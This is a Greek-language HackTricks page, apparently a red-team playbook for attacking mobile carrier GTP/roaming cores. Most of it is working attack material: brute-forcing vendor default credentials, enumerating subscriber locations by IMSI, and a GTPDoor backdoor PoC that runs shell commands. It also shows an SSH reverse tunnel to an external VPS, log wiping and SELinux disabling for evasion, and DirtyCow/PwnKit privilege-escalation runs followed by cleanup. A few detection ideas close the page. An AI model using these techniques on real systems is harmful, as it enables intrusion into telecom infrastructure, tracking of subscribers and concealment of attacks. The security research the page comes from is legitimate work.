Telecom Network Exploitation (GTP / Roaming Environments)
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
note
Οι πρωτόκολλοι κινητής πυρήνας (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι-εμπιστευτικά GRX/IPX roaming backbones. Επειδή διακινούνται μέσω απλού UDP με σχεδόν καμία αυθεντικοποίηση, οποιοδήποτε σημείο εισόδου μέσα σε ένα τηλεπικοινωνιακό περίγραμμα μπορεί συνήθως να φτάσει απευθείας στους πυρήνες σήμανσης. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικές τεχνικές που παρατηρήθηκαν στην πράξη κατά SGSN/GGSN, PGW/SGW και άλλους κόμβους EPC.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
Ένα εκπληκτικά μεγάλο σύνολο στοιχείων δικτύου προμηθευτών έρχεται με σκληρά κωδικοποιημένους χρήστες SSH/Telnet όπως root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Μια αφιερωμένη λίστα λέξεων αυξάνει δραματικά την επιτυχία της βίαιης επίθεσης:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Αν η συσκευή εκθέτει μόνο ένα VRF διαχείρισης, κάντε pivot μέσω ενός jump host πρώτα (δείτε την ενότητα «SGSN Emu Tunnel» παρακάτω).
1.2 Ανακάλυψη Φιλοξενουμένων μέσα στο GRX/IPX
Οι περισσότεροι πάροχοι GRX εξακολουθούν να επιτρέπουν ICMP echo μέσω του backbone. Συνδυάστε το masscan
με τους ενσωματωμένους UDP probes gtpv1
για να χαρτογραφήσετε γρήγορα τους GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Απαρίθμηση Συνδρομητών – cordscan
Το παρακάτω εργαλείο Go δημιουργεί πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει τον τρέχοντα SGSN / MME που εξυπηρετεί την ερωτηθείσα IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Κύριες σημαίες:
--imsi
Στοχευόμενος συνδρομητής IMSI--oper
Οικιακός / HNI (MCC+MNC)-w
Γράψτε ακατέργαστα πακέτα σε pcap
Σημαντικές σταθερές μέσα στο δυαδικό αρχείο μπορούν να διορθωθούν για να διευρύνουν τις σάρωσεις:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Εκτέλεση Κώδικα μέσω GTP – GTPDoor
GTPDoor
είναι μια μικρή υπηρεσία ELF που δεσμεύει το UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C. Όταν το payload ξεκινά με μια προ-μοιρασμένη ετικέτα, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω του /bin/sh -c
. Η stdout/stderr εξάγονται μέσα σε μηνύματα Echo Response έτσι ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.
Ελάχιστο πακέτο PoC (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Ανίχνευση:
- οποιοσδήποτε κόμβος στέλνει μη ισορροπημένα Echo Requests σε IP SGSN
- η σημαία έκδοσης GTP ρυθμισμένη σε 1 ενώ ο τύπος μηνύματος = 1 (Echo) – απόκλιση από την προδιαγραφή
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
παρέχει έναν εξομοιωτή SGSN ικανό να δημιουργήσει ένα PDP context προς έναν πραγματικό GGSN/PGW. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή tun0
προσβάσιμη από τον περιπλανώμενο ομότιμο.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Με σωστό hair-pinning του firewall, αυτό το τούνελ παρακάμπτει τα VLAN που χρησιμοποιούνται μόνο για σήματα και σας προσγειώνει απευθείας στο data plane.
4.2 SSH Reverse Tunnel over Port 53
Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στο :53 και επιστρέψτε αργότερα από το σπίτι:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Ελέγξτε ότι το GatewayPorts yes
είναι ενεργοποιημένο στον VPS.
5. Κρυφά Κανάλια
Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός ακροατής, χωρίς εξερχόμενη κίνηση |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) κωδικοποιημένο σε A-record octets | παρακολουθεί για *.nodep υποτομέα |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob σε ιδιωτικό IE | αναμειγνύεται με νόμιμο GTP-C θόρυβο |
Όλοι οι εμφυτευμένοι υλοποιούν watchdogs που timestomp τα δυαδικά τους και επανεκκινούν αν καταρρεύσουν.
6. Cheatsheet Αποφυγής Άμυνας
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Κλιμάκωση Δικαιωμάτων σε Κληρονομημένα NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Συμβουλή καθαρισμού:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Εργαλειοθήκη
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– προσαρμοσμένα εργαλεία που περιγράφονται σε προηγούμενες ενότητες.FScan
: εσωτερικές σάρωσεις TCP (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS κακόβουλο WPADMicrosocks
+ProxyChains
: ελαφρύ SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / σύνδεση πόρων
Ιδέες Ανίχνευσης
- Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί αιτήματα Δημιουργίας PDP Context.
- Μη τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes από εσωτερικές IP.
- Συχνά Echo Requests χωρίς αντίστοιχες Echo Responses – μπορεί να υποδηλώνει GTPDoor beacons.
- Υψηλός ρυθμός κυκλοφορίας ICMP echo-reply με μεγάλα, μη μηδενικά πεδία αναγνωριστικού/ακολουθίας.
Αναφορές
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.